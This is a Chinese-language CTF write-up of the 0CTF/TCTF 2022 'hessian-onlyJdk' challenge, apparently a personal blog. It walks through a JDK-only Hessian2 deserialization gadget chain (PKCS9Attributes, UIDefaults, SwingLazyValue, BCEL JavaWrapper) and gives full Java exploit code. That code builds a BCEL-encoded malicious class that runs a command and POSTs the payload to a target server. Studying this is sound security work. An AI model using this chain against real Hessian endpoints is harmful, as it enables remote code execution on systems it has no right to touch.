http://www.bmth666.cn/bmth_blog/2023/02/07/0CTF-TCTF-2022-hessian-onlyJdk/#CVE-2021-43297 https://goodapple.top/archives/1145 https://goodapple.top/archives/1193 https://xz.aliyun.com/t/10997#toc-2 https://m0d9.me/2021/08/29/XStream%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%EF%BC%88%E4%B8%89%EF%BC%89%E2%80%94%E2%80%94Tabby%20CVE%E4%B9%8B%E6%97%85/
审题 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 package com.ctf.hessian.onlyJdk;import com.caucho.hessian.io.Hessian2Input;import com.sun.net.httpserver.HttpExchange;import com.sun.net.httpserver.HttpHandler;import com.sun.net.httpserver.HttpServer;import java.io.IOException;import java.io.InputStream;import java.io.OutputStream;import java.net.InetSocketAddress;import java.util.concurrent.Executors;public class Index { public Index () { } public static void main (String[] args) throws Exception { System.out.println("server start" ); HttpServer server = HttpServer.create(new InetSocketAddress (8090 ), 0 ); server.createContext("/" , new MyHandler ()); server.setExecutor(Executors.newCachedThreadPool()); server.start(); } static class MyHandler implements HttpHandler { MyHandler() { } public void handle (HttpExchange t) throws IOException { String response = "Welcome to 0CTF 2022!" ; InputStream is = t.getRequestBody(); try { Hessian2Input input = new Hessian2Input (is); input.readObject(); } catch (Exception var5) { var5.printStackTrace(); response = "oops! something is wrong" ; } t.sendResponseHeaders(200 , (long )response.length()); OutputStream os = t.getResponseBody(); os.write(response.getBytes()); os.close(); } } }
很狂的开局,一个文件,明显的反序列化点,简单明了,但是仔细看看发现完全不是maven项目,也没有什么依赖一说,而我们之前解出的Hessian都是有第三方依赖的,那这波肯定是原生JDK打hessian2反序列化了。
摆烂解题 题目给了个hint,有一个toString利用链:https://x-stream.github.io/CVE-2021-21346.html
1 2 3 4 5 6 javax.swing.MultiUIDefaults#toString UIDefaults#get UIDefaults#getFromHashTable UIDefaults$LazyValue#createValue SwingLazyValue#createValue javax.naming.InitialContext#doLookup()
给了一条toString的链子,这个出自CVE-2021-21346,一个Xstream的漏洞,既然是toString的链子那么就应该是hessian2的expect抛出异常触发toString了 但是用上面的hint打了之后会报错
javax.swing.MultiUIDefaults是package-private类,只能在javax.swing.中使用,而且Hessian2拿到了构造器,但是没有setAccessable,newInstance就没有权限
所以要找链的话需要类是public的,构造器也是public的,构造器的参数个数不要紧,hessian2会自动挨个测试构造器直到成功
因此需要找一个MultiUIDeafaults的替代类,这里的UIDeafaults是继承Hashtable的,所以需要从toString到HashTable.get(hessian可以反序列化未实现serializable接口的类) 大佬们用CODEQL找到了一个适合的类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 /** @kind path-problem */ import java import semmle.code.java.dataflow.FlowSources class ROMethod extends Method{ ROMethod(){ this.hasName("toString") } } class Source extends Callable { Source(){ ( this instanceof ROMethod ) } } class GetMethod extends Method { GetMethod(){ this.hasName("get") and this.getDeclaringType().getAnAncestor().hasQualifiedName("java.util","Hashtable") } } class DangerousMethod extends Callable { DangerousMethod(){ this instanceof GetMethod } } class CallsDangerousMethod extends Callable { CallsDangerousMethod() { exists(Callable a| this.polyCalls(a) and a instanceof DangerousMethod ) } } query predicate edges(Method a, Method b) { a.polyCalls(b) and a.getDeclaringType().getAField().getDeclaringType().hasName(b.getDeclaringType().getName()) } from Source source, CallsDangerousMethod sink where edges+(source, sink) select source, source, sink, "$@ $@ to $@ $@" , source.getDeclaringType(),source.getDeclaringType().getName(), source,source.getName(), sink.getDeclaringType(),sink.getDeclaringType().getName(), sink,sink.getName()
ql代码如上,给以后的自己慢慢啃吧。。codeql真的好强大 运行之后可以跑出一个类sun.security.pkcs.PKCS9Attributes
在该方法内部调用了getAttribute
方法,而这方法里面又调用了get方法 并且可以看到这个attributes就是一个HashTable,那么链子就接上了PKCS9Attributes.toString->HashTable.get->UIDefault.get->UIDeafult->getFromHashTable->createValue->xxx.invoke
这一条链子的重点在SwingLazyValue#createValue
中 在这个类中可以触发任意类的任意方法,那么就可以实现RCE(其实并不是任意,需要静态和public这两个条件) 最后又是在摆烂中找到了JavaWrapper._main
方法,这个方法内部逻辑如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public static void _main (String[] argv) throws Exception { if (argv.length == 0 ) { System.out.println("Missing class name." ); return ; } String class_name = argv[0 ]; String[] new_argv = new String [argv.length - 1 ]; System.arraycopy(argv, 1 , new_argv, 0 , new_argv.length); JavaWrapper wrapper = new JavaWrapper (); wrapper.runMain(class_name, new_argv); } }
其中主要漏洞逻辑存在于runMain方法中 他会加载一个类,并且找到该类中的_main方法通过invoke去执行它,那么我们只需要创建一个恶意类,其中带一个方法名叫_main然后让他加载那么就可以执行命令了
1 2 3 4 5 6 7 8 9 package Hessian2;import java.io.IOException;public class shell { public static void _main (String[] argv) throws IOException { Runtime.getRuntime().exec("calc" ); } }
这里的shell.class需要有参数,要符合上图中的规则 还有一个需要注意的点就是这里的loader我们可以发现是一个bcel 在初始化JavaWrapper时会对loader进行赋值,赋值为com.sun.org.apache.bcel.internal.util.ClassLoader
那这里也就涉及一个bcel的类加载问题,这个我在之前的文章中说过了,一个小tips 那么payload构造如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 import com.caucho.hessian.io.Hessian2Input;import com.caucho.hessian.io.Hessian2Output;import com.sun.org.apache.bcel.internal.Repository;import com.sun.org.apache.bcel.internal.classfile.JavaClass;import com.sun.org.apache.bcel.internal.classfile.Utility;import sun.reflect.ReflectionFactory;import sun.security.pkcs.PKCS9Attribute;import sun.security.pkcs.PKCS9Attributes;import sun.swing.SwingLazyValue;import javax.swing.*;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;public class Hessian_JavaWrapper { public static void main (String[] args) throws Exception { PKCS9Attributes s = createWithoutConstructor(PKCS9Attributes.class); UIDefaults uiDefaults = new UIDefaults (); JavaClass evil = Repository.lookupClass(test.class); String payload = "$$BCEL$$" + Utility.encode(evil.getBytes(), true ); uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue ("com.sun.org.apache.bcel.internal.util.JavaWrapper" , "_main" , new Object []{new String []{payload}})); setFieldValue(s,"attributes" ,uiDefaults); ByteArrayOutputStream baos = new ByteArrayOutputStream (); Hessian2Output out = new Hessian2Output (baos); baos.write(67 ); out.getSerializerFactory().setAllowNonSerializable(true ); out.writeObject(s); out.flushBuffer(); ByteArrayInputStream bais = new ByteArrayInputStream (baos.toByteArray()); Hessian2Input input = new Hessian2Input (bais); input.readObject(); } public static <T> T createWithoutConstructor (Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { return createWithConstructor(classToInstantiate, Object.class, new Class [0 ], new Object [0 ]); } public static <T> T createWithConstructor (Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes); objCons.setAccessible(true ); Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); sc.setAccessible(true ); return (T) sc.newInstance(consArgs); } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } }
运行之后弹出计算机 说明链子成立
细节剖析 观察一下PKCS9Attributes类的内部结构 是不是没有无参构造方法,所以你想要通过反射的方法进行实例化十分困难,这边我尝试了好多次都是会报错(太菜了),理论上是肯定可以的,但是这里我们用了一个魔术去绕过构造方法
1 2 3 4 5 6 7 8 9 10 11 public static <T> T createWithoutConstructor (Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { return createWithConstructor(classToInstantiate, Object.class, new Class [0 ], new Object [0 ]); } public static <T> T createWithConstructor (Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes); objCons.setAccessible(true ); Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); sc.setAccessible(true ); return (T) sc.newInstance(consArgs); }
https://www.cnblogs.com/strongmore/p/15470175.html
还有个细节就是,我们可以看到上述poc我们是本地运行成功的,但是题目中你需要发送一个POST请求,要把你的Bytes字节流以post的形式在java中发送过去 因此最终POC应该是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 package exp;import Hessian2.shell;import com.caucho.hessian.io.Hessian2Input;import com.caucho.hessian.io.Hessian2Output;import com.sun.org.apache.bcel.internal.Repository;import com.sun.org.apache.bcel.internal.classfile.JavaClass;import com.sun.org.apache.bcel.internal.classfile.Utility;import sun.reflect.ReflectionFactory;import sun.security.pkcs.PKCS9Attribute;import sun.security.pkcs.PKCS9Attributes;import sun.security.util.DerInputStream;import sun.security.util.DerValue;import sun.security.util.ObjectIdentifier;import sun.swing.SwingLazyValue;import javax.swing.*;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.net.HttpURLConnection;import java.net.URL;import java.net.URLEncoder;public class exp { static final String targetUrl="http://localhost:8090/" ; public static void main (String[] args) throws Exception { PKCS9Attributes s = createWithoutConstructor(PKCS9Attributes.class); UIDefaults uiDefaults = new UIDefaults (); JavaClass evil = Repository.lookupClass(shell.class); String payload = "$$BCEL$$" + Utility.encode(evil.getBytes(), true ); uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue ("com.sun.org.apache.bcel.internal.util.JavaWrapper" , "_main" , new Object []{new String []{payload}})); setFieldValue(s,"attributes" ,uiDefaults); ByteArrayOutputStream baos = new ByteArrayOutputStream (); Hessian2Output out = new Hessian2Output (baos); baos.write(67 ); out.getSerializerFactory().setAllowNonSerializable(true ); out.writeObject(s); out.flushBuffer(); post(baos.toByteArray()); ByteArrayInputStream bais = new ByteArrayInputStream (baos.toByteArray()); Hessian2Input input = new Hessian2Input (bais); } public static <T> T createWithoutConstructor (Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { return createWithConstructor(classToInstantiate, Object.class, new Class [0 ], new Object [0 ]); } public static <T> T createWithConstructor (Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes); objCons.setAccessible(true ); Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); sc.setAccessible(true ); return (T) sc.newInstance(consArgs); } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static void post (byte [] b) throws Exception{ URL url=new URL (targetUrl); HttpURLConnection con = (HttpURLConnection) url.openConnection(); con.setRequestMethod("POST" ); con.setDoOutput(true ); try (OutputStream os = con.getOutputStream()) { os.write(b); } BufferedReader in = new BufferedReader ( new InputStreamReader (con.getInputStream())); String inputLine; StringBuffer content = new StringBuffer (); while ((inputLine = in.readLine()) != null ) { content.append(inputLine); } in.close(); System.out.println(content.toString()); } }
成功复现